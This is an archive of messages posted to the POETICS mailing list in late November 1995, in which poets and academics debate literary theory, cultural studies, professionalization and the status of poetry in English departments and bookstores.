kat: thank you for your sharp responses to what i read as a kind of nostalgia that permeates poetics-folks's sense of being victimized by everything from cultural studies to an overdose of tweedy colleagues. i wish i were as eloquent as you in recalling the dangers of public wound-licking in the name of poetic purism. (no offense to anyone here --i 'd like to bring cultural studies and poetics to bear on each other --and i know there are sympathizers out there!)--md

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392. **Maria Damon**
Re: Condition of Poetry in the Academy
Mon 27 Nov 1995

---

jt writes:

The comments here also raise an issue that has puzzled me. My work has been committed to theory and its engagement with various cultural practices, yet, increasingly, I am hearing from many older and established faculty members who, either openly or implicitly, deride theory in its various forms. This puzzles me because I want my work to be up to date and relevant. I am not a trend-monger, nor is my committment to my work and theory a studied attempt at saying all the right things in hopes of obtaining a job. I guess, what it comes down to is that I find it deeply surprising--if not a little disappointing--when so much scholarly work is written off as hating literature....

Jeffrey Timmons

***to which i can add--already have, if u've seen it, jeffrey --my agreement and encouragement to keep up the good work.--md

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393. **Maria Damon**
Re: POETICS Digest - 25 Nov 1995 to 26 Nov 1995
Mon 27 Nov 1995

---

marjorie p writes:

cultural studies, as conceived in the wake of the New Historicism waswonderful and liberating--I am not at all opposed to it. But in the last few years, it's taken a weird turn back to a kind of pre-New Critical subject-matter scholarship: i.e., the treatment of motherhood in the 19th c. novel etc etc. Much of it assumes

that a novel, say, is just a straightforward social document and hence that what is "said" about motherhood is an accurate reflection of what Victorian attitudes were. This is hardly what Foucault had in mind and it has become oppressive--or so think.

*** "cultural studies" predated New Historicism, as i understand it --coming from primarily sociologists (the "Birmingham school"), literature scholars like Raymond Williams, and historians in Britain, who stressed the need to revise the traditional marxist emphasis on economic base over cultural superstructure --at the same time they insisted on preserving the sense of engagement and vision of social justice that characterized traditional marxism. americans have contributed "the new ethnography," primarily anthropologists, who have found literary theories useful tools for analyzing their self-reflective insight that they are basically producing fictions, and who nonetheless want to explore the possibility of studying other ("Other") cultures in non-colonialising ways. As I understand it, New Historicism is literary scholars' attempt to try to salvage the capital L in literary in the face of these democratising developments while incorporating the socio/historical: so now we have new ways of studying shakespeare --but it's still shakespeare that gets the focus, new ways of studying Eliot --but it's still Eliot -- they're still in thrall to a sense of literary greatness. A true revision of literary studies would go beyond simply applying new interests (conduct books in Britain) to old chestnuts (Pride and Prejudice).--md

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394. **Kevin Killian**

Re: Condition of Poetry in the Academy

Mon 27 Nov 1995

I haven't been following this discussion closely, so maybe someone already mentioned this, but for a great examination of academia's devouring of a writer, check out the Nov. 27 issue of _The New Yorker_, Joan Acocella's article on the reinventing of Willa Cather through the decades, "Cather and the Academy." It would be hilarious if it weren't so scary.

Dodie Bellamy

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395. Jordan Davis
are you the boss of poetry
Mon 27 Nov 1995

hi
as one poet looking to get out from under the vinculum of poetic bossing or
as one rabbit trapper researching havahart traps what are the ways to

um produce closure or a closure substitute

people here have seen and liked? (that is I guess authority is there mainly to cause poems to end) (or the end of poetry?) and I don't mean Hemingway evasion via nature or

Jordan

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396. Michael Greer
Discipline and Categorize
Mon 27 Nov 1995

It's been more than interesting to read several days' worth of posts where the Barnes & Noble discussion has intertwined with the English department question: Where, after all, IS "poetry" in all this? How different are the commodified shelf-definitions in bookstore aisles from course offerings in a univ. catalog? I'm reminded of the opening of _The Order of Things_, where Foucault cites that list of different types of animals and wonders on what discursive "plain" they may be compared to one another. As Jed Rasula shows in _The American Poetry Wax Museum_, middlebrow culture has many uses for poetry, which it has been more than successful in reproducing in its own image.

The question really revolves around what kind of cultural value (cultural capital) poetry is going to be assigned to (is that the right way to put that?). Bill Moyers has appeared to more successfully show people how to care about poetry than just about anyone else lately. People started buying Rumi books last summer after that show aired.

The Barnes & Noble question is about one kind of cultural capital (which is much more complex and interesting than a simple question of "sales"--if that were the sole criteria, I don't think they'd stock any poetry at all, save those swoopy-capped volumes by Susan Polis Schutz, Rod McKuen, et al--and we do need very much the kind of analysis in poetry corresponding to Jan Radway's take on the romance novel, btw.) I actually worked in a B&N for a few months and had a great deal of influence on the local buying habits of the store itself. Because we had two small presses in the town I was then working in (Bloomington-Normal, Illinois, home of Fiction Collective 2 and Dalkey Archive

Press), I was able to order basically the complete list of each publisher to stock our "local authors" section. B&N folks don't really know "literary" books, but they were, in my case, willing to listen to someone who did. As for my conscience, there were no independent bookstores to be put out of business.Not to defend B&N, but they do often increase book traffic overall, and can have a kind of symbiotic relationship to small, niche, used stores in their area. But I still shop at indies as much as possible. (Ingram is actually B&N's major distributor, and I think it's the largest in the country, much bigger even than Baker & Taylor. They certainly delivered semis full of books to one smallish city in central Illinois. They do seem to be driving the car in their relationships with publishers, however, which certainly seems backward to me.)

The English dept question is about another kind of cultural capital, which both does and does not overlap with that of bookstores. Interesting that while the theory crowd don't read much po, they certainly like to talk about the "poetics" of this and that. What valence are they getting out of that term? What's it allowing them to say that the word "theory" or "method" doesn't quite get at? Can we talk to theory people (I consider myself one of them too) about the relationship between "poetry" and "poetics" and get them to talk about the erasure of the former in the midst of the latter's hyper-inflation? Probably. But then getting colleagues to read language poetry might be a bigger challenge. Ours or theirs?

Great discussion. I have more questions than answers, to be sure.

--Michael Greer

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397. **Tony Green**

Re: history, theory, lit (huey, dewey, and louie?)

Mon 27 Nov 1995

---

to say a little more abt the theory problem, not to be at all anti-theoretical, only to notice that "reading" is not a well-defined act so that everyone knows at once what is meant. There are "reading" practices that aim at the question of how a text or a painting, say, was put together 1) as an action taking time energy and thought 2) working in a situation -- taking a context and changing 3)taking account of writer-text-reader relations. All that tends easily to get left to one side (too difficult?) in favour of picking up on the "content" (story-line, character implications, social habits recorded) as the base for either simple-minded social analysis as Marjorie Perloff's complains or else into one or another social-scientific analyses -- socio-psycho-politico-economico. The elision is regularly performed in much academic discourse. It misses out precisely questions of the art, as if the "poetics" were not of any consequence. To put it in

a too simple and old-fashioned terminology it is as if the "meaning" were identified with the "content" and the question of "form" was relegated to one of seveal possible rubbish baskets -- the idealist aesthetic basket, formalism, subjective introspection, stylistics....whatever. It is as if you told a film-critic/historian, you must only address the story-line and the characters and dialogue, plus the deatiled objects in the mise-en-scene at each moment -- as symbolic -- but not the directorial devices of cutting, montage, time, continuity, camerawork, colour and sound. Best mentd

Tony Green,
e-mail: [redacted]

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398. jeffrey timmons

Re: history, theory, lit (huey, dewey, and louie?)

Mon 27 Nov 1995

On Sun, 26 Nov 1995, Tenney Nathanson wrote:

> The collapse of "theory" into cult studs, in Jeffrey's post, is interesting....

Yes, I wasn't just referring to cult studs, but theory in general--whether it's decon, queer, new hist, what have you....

But I
> think Marjorie's criticism still stands: there are a lot of grad students
> (and professors, as several posts have pointed out) who deploy big cultural
> categories as an alternative to (or avoidance of) mucking about in details.
> Kenneth Koch used to say in class that it wasn't the broad points but the
> narrow ones, the remarks about odd details or idiosyncracies, that were most
> revealing about a writer's work (not THEMES but verbal ticks).

Yes, of course, you are right. I agree.

And I will be provocative: close reading is unimportant.

Ticks are all fine and good mind you, but they are annoying . . . and dangerous! Always trying to suck your blood and latch on to you. Yuck!

Seriously, though: I do agree with what you say, but as I read your poem [which i liked very much, by the way]in the latest RIF/T I was intrigued by the broad sweep of the piece. I think the poem is interesting in its breadth-- and even in its odd details. But you must admit (please, please) that your poem is INTERESTING because of its broad points, because of its scope, and the strength derived from those big cultural ideas. I have another question about the poem, but I'll save that....

Your allusions to Whitman, I think, suggest the necessity of broadness.

But, really, we're both right. We need details (and those nasty ticks, yuck!) and broad points. I seem to recall a discussion with Spencer on the necessity for detail and scope or breadth. Anyway....

> *anyway I think some grad classes where folks just sit around pretending there is no such thing as theory and mucking around with single poems for an hour or so are a good idea.*

You mean we don't do this? Yes, it is a good idea, but a little dated perhaps? Isn't close reading, essentially, a version of biblical exegesis? which is probably even related to the Talmudic tradition of reading--though I'm out of my element here (where's Tom Mandel?)--which probably makes it even older. Old is not bad, it's just that I would like to look at other ways of reading and using texts. What this is precisely I am not sure . . . though I am willing to consider the options.

Thanks for your remarks Marjorie and Tenney.

close reading hurts my eyes and it smears the ink,

Jeffrey Timmons

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399. jeffrey timmons
Re: POETICS Digest - 25 Nov 1995 to 26 Nov 1995
Mon 27 Nov 1995

On Mon, 27 Nov 1995, Maria Damon wrote:

A true revision of literary studies would go beyond simply applying new
> interests (conduct books in Britain) to old chestnuts (Pride and
> Prejudice).

Could you elaborate?

Jeffrey Timmons

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400. Robert Drake
Publication announce: TapRoot Reviews 7/8
Mon 27 Nov 1995

This is to announce the publication of _TapRoot Reviews #7/8_, featuring reviews of independent literatures of several stripes. The Electronic version, which includes only the individual magazine & chapbook reviews (_not_ the material in the featured articles) will be available at the EPC in a few weeks.

The paper version is available now from Burning Press, PO Box 585, Lakewood OH 44107. 40 pages tabloid, $5.00 for the double issue. Thanks to all contributors & subscribers for patience & support-- their contributions of time & money help insure TRR's continuation...

TRR 7/8 Contents:

ZINE REVIEWS... 126 periodicals!

Jake Berry: ARTICULATING FREEDOM (essay)

MOODYSTREET IRREGULARS--elegy by Mike Basinski

LEAVE BOOKS--19 titles reviewed by Mark Wallace & Susan Smith Nash; interview by lbd

BOOK REVIEWS... 185 titles!

Gary Allen: THE MISSIONARY WHO FORGOT HIS NAME--review by Randolph Roark

Michael Basinski: SLE VEP--review by Ken Sherwood

Clark Coolidge: THE ROVA IMPROVISATIONS review by Mark DuCharme

Fabio Doctorovich: BRIBAGE CARTOONIANA--review by Harry Polkinhorn

dbqp PRESS--11 titles reviewed by Jake Berry

Geof Huth: PRAECISIO (essay)

AUDIO REVIEWS... 11 recent tapes & CDs

Leslie Scalapino: DEFOE--excerpt; and reviews by Steven Benson, Tom Beckett, and Susan Smith Nash

John Taggart: SONG OF DEGREES--review by William Martin

CHAX PRESS--7 titles reviewed by Tom Beckett

E-SOURCES FOR POETRY--(part 1), reviewed by lbd

Individual reviews by: Dan Barbiero, Micheal Basinski, Tom Beckett, John M. Bennett, Jake Berry, David Bromige, Luigi-Bob Drake, Mark DuCharme, Chris Funkhouser, Peter Ganick, Loss Pequeno Glazier, Bob Grumman, Andrew Joran, Karl Kempton, Roger Kyle-Keith, Hank Lazer, Susan Smith Nash, Mark Nowak, Oberc, Andrew Russ, Thaddeus Rutkowski, Mark Scroggins, Ken Sherwood, Chris Stroffolino, Gary Sullivan, Gregory Vincent St. Thomasino, Jeffery Timmons, Mark Weber, Larry Wendt, Thomas Willoch, & Karl Young.

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lbd, editor
TRR/Burning Press
PO Box 585, Lakewood OH 44107
[redacted]

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401. **Rod Smith**

Re: Graduate School & the Poetry Cult

Mon 27 Nov 1995

On 11/25 Don Byrd wrote: "Foucault probably underestimates the structural vitality of postmodern institutions, which in fact are _not_ hierarchical in any sense that "proliferation" constitutes a meaningful threat."

Don't really understand what is meant by "_not_ hierarchical etc."

Also Don:

" I would suggest that the viable model for poetry at this time is the cult. "...what has been lost is the secret of secrecy," Olson says. To be sure, it may have it exoteric forms that can be revealed in the university. Rod was at a gathering of a few poets around my kitchen table a couple of weeks ago, and it seemed like an occasion on which the business of poetry was well served, even though no one was particularly trying to serve it."

I agree with this though prefer the term "community" to "cult"-- cult seems too closed, & that's not my experience of how these groups operate. People pop in & out-- as Cage said "there's always somebody wondering in from the street."

I also wonder about the assertion that with the N.E.A. "poetry went on welfare"?

On 11/27 Michael Greer wrote "The Barnes & Noble question is about one kind of cultural capital (which is much more complex and interesting than a simple question of "sales"--if that were the sole criteria, I don't think they'd stock any poetry at all"

This isn't my experience. Having worked in 3 stores, two independents and one local chain-- I can assert that, in fact, Poetry Sells! The idea that it doesn't I don't really understand. When it is made available folks buy it. & not just poets! The "numbers" really are better than you would expect-- at one store where I did quite a bit of poetry buying the section managed 5 turns, better than fiction or biography. & this was a 4 bookcase section including trade, small press, & university stuff.

Finally, re: theory/poetry question & Wystan's remarks about "FASHION"-- this seems to me the point. CODIFICATION is what happens too quickly, & I think this has to do with the hierarchical nature of institutions. As Ron mentioned at one point-- theory in '71 was "liberating," now it's obligatory-- one has to know it & justify oneself in those terms. I'd like to question that. Of course, the best of the theoreticians are very grounded & acknowledge these problems-- Charles Bernstein & Cornel West come to mind. Also Clint Burnham's _The Jamesonian Unconscious_ is a good example of a complex "debasement" of theory-- an attempt to deal w/ the issue of "the institution speaking." Guess I'm the only one who hasn't read the Rasula book, I'll catch up.

--Rod

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402. **Wystan Curnow**

Re: POETICS Digest - 25 Nov 1995 to 26 Nov 1995

Mon 27 Nov 1995

Hi marjorie, thanks for the invite to the book party for the BIG POETRY BOOK in Chicago. I don't think i'll make it other than in spirit. Its chronic isn't it, the way ideas will take 'weird turn's? You can count on it, if a liberating ism comes along sooner or later its going to take a weird turn. So this discussion about Literature v Theory v Cultural studies v Poetry.... is largely driven and/or coloured by feelings about and attitudes to (I hesitate to say but it is handy) FASHION. I know the term belongs to duddie-fuddies, and I am not one of them and if they use it against me I say and what's wrong with FASHION??!! But there IS something wrong with it, which has to do with ideas taking weird turns, turns for the worse. And so what is it about the Academy that encourages the process? Well, I suppose it is to do with careers, teaching, yes, but what are the larger composting processes of which this of form ideological decay of is a part? I'd like to know more about this if you or others have thoughts.

The other thing which occurred to me was this: what most members of an English Dept have in common is that they teach and study historical texts; a primary interest in contemporary poetry sets one apart, in a place where one's claims on literature are, or may seem to be, very different in their nature and value. Is it because Theory, at least to begin with, and Cultural Studies, at least to begin with, made claims on Literature out of an articulated contemporeanity, and so robbed Literature of its present--that's big el 'literature'--, that we have mixed feelings about them.

Best wishes,
Wystan

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403. **Aldon L. Nielsen**
Re: Cather Tube
Tue 28 Nov 1995

Dodie and I may not be scared by the same things -- I just read that NYer piece and found it a terrifying piece of dreck -- 1/2 way through I lost count of all the uninspected preusppositions it requires if one is to be upset about what one is clearly meant to be upset about -- as with Dickinson scholarship, there is much that is laughable published about Cather, and our NYer wants to make us laugh even at that which is in fact carefully accomplished and insightful - - Is it really the case that contemporary critics, for example, were startled to find that Cather shared many beliefs about society with U.S. Grant, particularly since these beliefs had been on public display all along -- ??

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404. **Aldon L. Nielsen**
Re: Poe biz
Tue 28 Nov 1995

---

odd indeed in this context to see the first page of Foucault's "Preface" to _The Order of Things_ as if that list of animules hadn't sprung out from the pages of Borges for the close reading of Foucault

"Take a Message to Michael"

and where is this theory group that reads no poetry? I suspect our complaint has more to do with which poetry gets read -- Our American crop seems stuck in Romanticism or Modernism, judging from the talk one hears when folk gather to complain of theory -- but closer reading yet finds the reading of contemporary verse alive and well among a small body of the younger "theory-ridden" who frighten our elders into forming anti-MLAs and National Associations of Scabs -- Maybe it would help if we all read each other and went to each others conferences more???? Let's all bring a Cult Studs ephebe to Orono with us this Summer and start a phenomenon

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405. Aldon L. Nielsen
Re: Damonology
Tue 28 Nov 1995

Thanks to Maria for a good reminder of Cultural Studies as it first reared its head -- its translation to these shores and near replacement of the old "Popular Culture" studies makes an interesting study --

since I'm deep in a book on C.L.R. James, let me mention his importance in this regard -- if you note the heavy Caribbean influence in British Cultural Studies (Stuart Hall, Kobena Mercer, Paul Gilroy, etc) you'll find they've all read _Beyond a Boundary_ and other, fugitive, texts by James -- That book, by the way (BB), has recently been republished by Duke --

and Maria -- San Daggoo won't be the same without you!!! If we make a go of it, I'll tape the proceedings and send it on to you --

(((does Mona Lisa Saloy have an e-mail address??)

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406. Tenney Nathanson
for now
Tue 28 Nov 1995

The Lit/Theory/Poetry/History/Cult Studs/Geisers/Turks thread is sure getting nicely gnarly. Rather than worry it some more, right now, just a Plug for a Listmate's work:

via this:

> *Date: Tue, 28 Nov 1995 16:55:12 GMT+1200*
> *From: Wystan Curnow <[redacted]>*
> *Subject: Re: POETICS Digest - 25 Nov 1995 to 26 Nov 1995*
>
> *The other thing which occurred to me was this: what most members of an English Dept have in common is that they teach and study historical texts; a primary interest in contemporary poetry sets one apart, in a place where one's claims on literature are, or may seem to be, very different in their nature and value. Is it because Theory, at least to begin with, and Cultural Studies, at least to begin with, made claims on Literature out of an articulated contemporeanity, and so robbed Literature of its present--that's big el 'literature'--, that we have mixed feelings about them.*
>
> *Best wishes,*
> *Wystan*

> ----------

Alan Golding's terrific new book on canons, /From Outlaw to Classic/ partly confirms this but partly complicates it in interesting ways, by looking (in one chapter) at the interlocking commitments of the New Criticism to, precisely, professionalization, amateurism, canon-formation, evaluation, and (some!) contemporary work--all at the very same time, like they say (on Barney actually).

anyway, as several others on the list noted a few weeks ago, it's a terrific book.

Tenney

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407. Chris Scheil
(no subject)
Tue 28 Nov 1995

It is one problem of sleep to maintain disorder-becoming-myriad-fountains,

like his hobby of apology that struck structure at the creature auction

or his plural cerebral mail squarely removed from the basilisk prick sort

of riffed on the difficult blanks (those whips defy lighting exceeding

enclosure) against unconcern at the announcement of doom sweeps & pledges

of difficulty to make radiant gasses. Oh, and his "necessity tails" seem

quick-like, sapphire, a concordance of breadth in paralysis, or his urns

of firing hail for shaving, that focused dictation in the entreatable

gesture of snugging. His viewings of seven, his dismay at height as an

unconscious accuracy, everywhere animal on impulse & searching for

resolve, it is those desperate hours of minutes that obey horror, prevent or

order anybody induced to dive off the omnipotent he is the liquid

inventor (inside) pity, whose midnight dance of the afternoon overcasts

the impossible posture. Clarion. Heavy. Fearfully gnawing.

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408. **Ron Silliman**
The break you're seeking
Tue 28 Nov 1995

David Kellog writes:

> On Sun, 26 Nov 1995, jeffrey timmons wrote:
>
> [big snip on David's part]
>
> I guess, what it comes down
> to is that I find it deeply surprising--if not a little
> disappointing--when so much scholarly work is written off as
> hating literature....

I would like to second this position. My own theoretical writing is not about hating or liking literature but is a different sort of work altogether (about, mainly, how the terms of value in the literary field get circulated and reproduced). Now, obviously I can't remove my own contributions from the field I'm analyzing, but that, to put it bluntly, is a theoretical problem. Just because work doesn't promote certain writers the way some work does does not meant that it hates poetry, or fiction, or anything else. Give me a break.

~~~
~~~

Carried forward by enough people, it can become a subtext to a larger discourse (one finds it in spades in Critical Inquiry, in SAQ, in Representations) and just spreads to become a norm.

And I've certainly heard critics who participate on this list -- such as Marjorie Perloff or Hank Lazer -- dismissed by others on the grounds that they LIKE their subject too much. That's why their work and the work of Alan Golding, Cary Nelson, Andrew Ross, George Hartley, Linda Reinfeld, Herman Rappaport and others like them always strikes me as fundamentally courageous.

I think that the story of the U.S. academy over the past quarter century has not been one of the arrival of theory nearly so much as it has one of the PROFESSIONALIZATION of theory. From the radical works of Barthes, Benjamin, Foucault, the Frankfort School, Gramsci to the dimly argued intellectual minimalism of (pick your favorite example and insert it here) fundamentally changes the meaning of theory itself. Those poets (not critics) who were initially so violently anti-theory when langpo began using that vocabulary (Codrescu, Clark et al), confusing langpo and the New Criticism in some instances, were not entirely wrong in that their intuition led them to suspect what theory itself would become once submitted to the institutional regime of the professions. What gets carried out today (as folks have noted from dissertation topics or a perusal of this year's MLA topics reflects) in the name, say, of cultural studies often seems a betrayal of the very promise inherent in theory. Walter Benjamin wasn't seeking a step increase.

All best,
Ron

[redacted]

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409. Michael Boughn
Theory etc.
Tue 28 Nov 1995

It seems to me it's not so much a problem with theory as with the relation to theory. And in that case, Wystan's FASHION might be better theorized as consumerism. The English Department of the Soul doesn't produce theory, it consumes it in a scenario that increasingly resembles the major American TV networks' November Sweeps Week.

Did anybody read Sander Gilman's injunction to young grad student writers in a recent MLA newsletter? Basically, it said, if you want a job, write like me. Above all else, don't be original either in concept or execution. It'll only confuse the hiring committee.

Sigh.

Mike
[redacted]

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410. H. T. KIRBY-SMITH
Question
Tue 28 Nov 1995

No one really did ever answer the question about how one knows if one is a poet.

Tom Kirby-Smith
Concerned Citizen

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411. Schuchat
Re: Question
Tue 28 Nov 1995

On Tue, 28 Nov 1995, H. T. KIRBY-SMITH wrote:

> No one really did ever answer the question about how one knows if one
> is a poet.
>
> Tom Kirby-Smith
> Concerned Citizen
>
the question reposed suggests that it might be possible for someone to be an inadvertent or unconscious poet, practicing poetry without awareness that that is what is being practiced. what form could that take? ted berrigan's analogy was birdsong, but he had a concept of poet as a vocation and/or election (the first in a catholic sense and the second in the calvinist sense). in that view, being a poet was like being gay (or queer, if you prefer), something one would in most cases eventually admit to oneself. if poetry is an activity, and being a poet is what you are while engaging in that activity, does it need to define all your other selves?

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412. **David Kellogg**
Re: The break you're seeking
Tue 28 Nov 1995

Well this *is* a pleasant debate, probably the best on POETICS in a while. I'm gonna respond issue by issue as I see it, rather than by individual. I'm thinking on the screen, so bear with me.

1. Professionalization. I think Ron (and others, including Marjorie P. in a different way) are right to point to professionalization as the key factor in what's happening to poetry talk. But it's a mighty complex issue. Is poetry professionalized? Well, yes and no. Much talk about poetry takes place in critical venues which are part of the larger critical professionalization-machine, and they have the typical features of professions (published standards for work, peer review (sometimes double-blinded)), "official" organs for professional organizations, etc. Now, is *Poetry* magazine part of a profession? Is *Sulfur*? Is *Arial*? What profession? Whose? Unlike wholly professionalized critical journals, many poetry journals do not provide peer review in the sense that, say, *Diacritics* is supposed to (with written responses to the work, suggestions for revision, reasons for rejection etc.-- though I have a story about that). With poetry, of course, it's largely a case of the volume of submission. With criticism published in poetry journals it's a different. Sometimes you have the case of a semi-creative journal going wholly professional, signified in part by the exclusion of actual poetry from its pages: *Boundary 2* would be an example. While the "professional" used to be opposed to the "amateur" or the person "of letters," professional these days seems to be opposed to "independent" or "alternative," thus echoing the rock music scene (viz. the proposed title of the archive of MLA papers by members of this list). What I'm saying is that professional and its opposite are *both* sources of critical and creative value, depending on context, and that people like us who work in contemporary poetry are caught between these value-zones. Which brings me to my second point.

2. Value. It's true, as someone mentioned, that one difference between academics on this list (not that we're all academics) and most academics elsewhere is that we work on contemporary writers, on the contemporary literary field, so that many of us feel obligated to promote writers we like (and trash others). When people, even those with careers in English or literature, find out I work on contemporary poetry, they ask me who are the best poets around. Does anybody else find this strange? I don't mind expressing my tastes, but my work isn't primarily about my tastes (or at least my poetic tastes -- it's certainly about, implicated in, my cognitive tastes). This response seems particularly suited to contemporary literature: nobody asks my Victorianist friends whether Eliot is better than Dickens (tho of course she is 8-]). In contemporary poetry, half the articles are reviews, and another third are

promotions disguised as analyses. This is why I often think that Helen Vendler is really Marjorie Perloff's evil twin.

3. Emotional response. It's a pity that critics should have to conceal their emotional reponse to work, and that such response should itself be more or less excluded from critical discussion. Such strictures breed precisely the disingenuousness in critical writing that I mentioned above. But they do more: they split critical work down the middle, and hinder the production of knowledge by setting critics against each other.

Cheers,
David
~~~
~~~

Caribbean has always been postmodern -- given the collage of languages and multiple subject positions those who live in the Caribbean have always confronted. This gives a useful twist to the debate about where postmodernism began -- in the US (Huyssen) or Europe (Lyotard, Habermas).

Paul Naylor
MAIL
SEND
in%"[redacted]"
in%"[redacted]"

SEND
in%"[redacted]"
in%"[redacted]"

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414. Judy Roitman
Re: Theory etc.
Tue 28 Nov 1995

> *It seems to me it's not so much a problem with theory as with the relation to theory. And in that case, Wystan's FASHION might be better theorized as consumerism. The English Department of the Soul doesn't produce theory, it consumes it in a scenario that increasingly resembles the major American TV networks' November Sweeps Week.*

Just a note to say (everyone knows this anyway) that fashion and consumerism are rampant everywhere, not just in English departments.

I've spent 25 years in the academy, and the shifts of FASHION begin to look like toddlers racing through rooms disorienting any grown-ups trying to focus (and ultimately destroying the very perps themselves)...

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415. Judy Roitman
Re: Question
Tue 28 Nov 1995

> *No one really did ever answer the question about how one knows if one is a poet.*
>
> *Tom Kirby-Smith*
> *Concerned Citizen*

Yeah, well I was going to ask how one knows if one is human...

I asked my kid last night "are you a juggler?" He said "sure." Couldn't understand the big deal -- he throws things around and catches them, so he's a juggler, no problem.

Where does all this fraughtness come from? The trembling before the altar, the notion that it is hubris to say "I am a poet" when folks who know shit about language cheerfully read self-promotional cliche-confirming crap and call it poetry (so why don't I? -- such contradiction here).

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416. **Joe Amato**
Re: The break you're seeking
Tue 28 Nov 1995

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latecoming as i am to this fascinating discussion of theory/poetry, just a few observations:

(1) easiest terms to appropriate in the world are "poetry" and "poetic"... to allude to a previous thread, there's always "poetry in baseball," or a "poetics of baseball," even as there is relatively little baseball in poetry (i.e., notwithstanding an anthology or two)... i could name any number of "new" theories that have used poetry/poetics with no reference whatever to poetry per se, or the discourse surrounding same...

(2) yes michael b., i too found gilman's "advice" stuffy and unfortunate...

(3) theory can be practiced differently, right?... i mean, it's not a monolith either... and SURELY there are more options "out there" than academic presses have generally allowed...

(4) cultural studies has become chi-chi, yes... but there is yet very good work to be had under this latter rubric...

(5) re this question of the professional which david k. raises, for me THE central issue, which i put forth here in shorthand, and with some ambivalence:

for any of you who are academics, methinks you would do well to regard yourselves as academic "professionals" EVEN AS you strive to rethink said distinction vis-a-vis the "non-professional" (whether "amateur" zinist or "independent" alternative etc)... in fact, i would argue that most folks proud of their work see themselves as "pro's," and that this latter distinction still has value in such terms... it seems to me that academic professionals, for example, OUGHT to consider [gasp] unionizing... that they OUGHT to consider their expertise no "better" than lay expertise of various sorts... i'm thinking here of the work of cheryl geisler, and am well aware of how the term "professional" has been used (particularly during the 19th. century) to disenfranchise "other"

worker-groups... but it seems to me we're FAR too far into this century to propose a new term, steeped as we are in our various institutions... hence i'd argue for wholesale reform of the category... and i find it somewhat dubious to argue that academics are NOT professionals, and i find it in fact convenient (however necessarily blurred) for poets to argue for such "disconnection" when in fact most poets i know are actively seeking a form of validation that strikes me as particularly professionalized... so to me the danger is the "professional" as currently construed, and it seems to me that (some) "we" needs to take this term out of the hands of the professions as such...

joe

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417. **Chris Stroffolino**
Re: Question
Tue 28 Nov 1995

Well, what if you're only a poet when you stop thinking of yourself as one....

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418. **Jonathan A Levin**
Re: Condition of Poetry in the Academy
Tue 28 Nov 1995

Poetics folk:

I've taken to offering graduate courses aggressively focused on "writers," i.e., Whitman & Dickinson, or Wharton & James--this as a way of insisting that the object of study is always literature, literary language, problems of narrative, image, syntax, theme (yes, even that), and so on. For me, as I suspect for many of you out there, all the theory and cultural studies that get put in front of the literature so often are still relevant, and I do what I can to make them see how the literature, the language, makes them relevant--but I want them to learn that what we study is literature, and that we study it because, as James said, it's interesting. I think, frankly, more of us have to find ways of letting our graduate students know that it's o.k. to study--gasp--literature. I go through this all the time: reassuring my graduate students that it's really o.k. to be a student of literature first, so long as you're willing to be sophisticated about what that means (and hell: I don't much mind if you give in to the urge to suspend that sophistication every so often). But I really think WE have a responsibility here. There are grad students who would probably never take my class in "Whitman & Dickinson": but if that's their attitude, so be it--they're obviously finding what they need somewhere else. As for trends, I'm not

terribly optimistic, based on what I see, but I do know that we continue to draw a healthy handful of students who are responsive to the kind of reading I do with them.

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419. Susan Schultz
Re: Condition of Poetry in the Academy
Tue 28 Nov 1995

Some symptoms:

--When my department decided (finally!) to hire a local writer (one familiar with the culture and creole of Hawai'i), the poets unanimously agreed to advertise for a _fiction_ writer. The rationale was that more graduate students write fiction than poetry, but one wonders why that is so...

--The current visiting writer, Eric Chock, noticed that there was an anti-poetry bias in the department. He also noticed that his graduate creative writing students hadn't read much poetry. And that even poets on the staff claimed not to like reading the stuff. Some members of the faculty apparently told him they wanted to write on poetry, but only after they got tenure.

--Someone applying for a job last year did a brilliant reading of Lois-Ann Yamanaka's book of poems, _Saturday Night at the Pahala Theatre_ (Bamboo Ridge Press), while referring to it as a series of "novellas." Never once did she allude to the fact that they are poems--and that the issue of genre in them is crucial.

--A senior faculty member told me he thought that all the interesting theoretical work was being done on narrative. Then he said he didn't know anything about work on poetry.

--Political readings of poetry and fiction suffer, I think, due to a lack of attention to language and form. Thus, a book of radical Hawaiian poetry is considered that despite the fact that it's written in mainstream free verse with Hawaiian words thrown in. Or Garrett Hongo's book on finding his roots in Hawai'i is praised despite his reliance on the lexicon of Keats and Shelley.

So, like someone else who wrote in recently, I think it's part of our job to do PR for our subject. Part of the problem is ignorance, a lack of recognition that contemporary poetry is rife with intelligence and controversy.

Can anyone suggest good books of cultural studies on poetry? I see no reason why there can't be such, though in my department there's an automatic assumption that cultural studies = a study of narrative (the stories of people who haven't been represented adequately in print). My colleague, Rob Wilson,

has done some exciting work on local writing in the context of the Pacific, but I'd really like to hear about other work. Susan

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420. **Susan Schultz**
Re: the caribbean
Tue 28 Nov 1995

Paul--who is the publisher of Brathwaite's new book?

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421. **Joe Amato**
Re: The break you're seeking
Tue 28 Nov 1995

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and at the risk of boring those w/o academic affiliation per se, one final opine:

(6) i would call attention to sander gilman's more recent proposal in the brand spanking new mla newsletter to institute (by way of doing more in the face of a dismal job market) "postdoctoral fellowships"... now i like gilman's scholarship, and i think he's an entirely well-intentioned mla president... but there's a certain irony comes of listening to him urge such action---from *my* pov... ysee, he teaches right around the corner from me, at the u of chicago... and i teach up the street (so to speak) at illinois institute of technology, where we just six months back lost two of our three PREdoctoral fellowships (english and philosophy), and are doing what we can to preserve a four-course humanities (abet) requirement on a tech. campus gone, well, a bit haywire... gilman's various assertions---that "Students want to study what we want to teach," that "The system of higher education in the humanities in North America should be recognized as what it is---the best in the world," that "There is even a nascent language-across-the-curriculum movement..."---it strikes me that these sorts of assertions simply MUST be uttered from an institutional vantage-point that only a minority of academics share... such disparity (detailed nicely in james sosnoski's _token professionals and master critics: a critique of orthodoxy in literary studies_ (suny, 1994)) reveals what's at stake in ANY revaluation of economic-material-academic realities, and in reworking the "professional"... as gilman rightly asserts (and to paraphrase), "we" are the mla---BUT this is not quite to emphasize how vested some of us are in more orthodox institutional habits... further, such assertions fall somewhat flat in the face of more vitriolic appraisals of academe, such as the recent barron's piece, variously "Slow Learners" and "Campus Unrest" (by jonathan r. laing, nov. 27)----"Why parents are up in arms about tuition bills, and colleges will finally be forced to change their free-spending ways"...

uh-huh...

there's some serious critique 'out there'---seriously misguided, imho... but the only realistic response will come first from a recognition that "we" are not all experiencing the same academic realities... how to find some solidarity in the midst of such differences isn't gonna be easy, never is...

joe

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422. **Steve Carll**
Re: Question
Tue 28 Nov 1995

At 08:53 AM 11/28/95 EST, you wrote:
>No one really did ever answer the question about how one knows if one
>is a poet.
>
>Tom Kirby-Smith
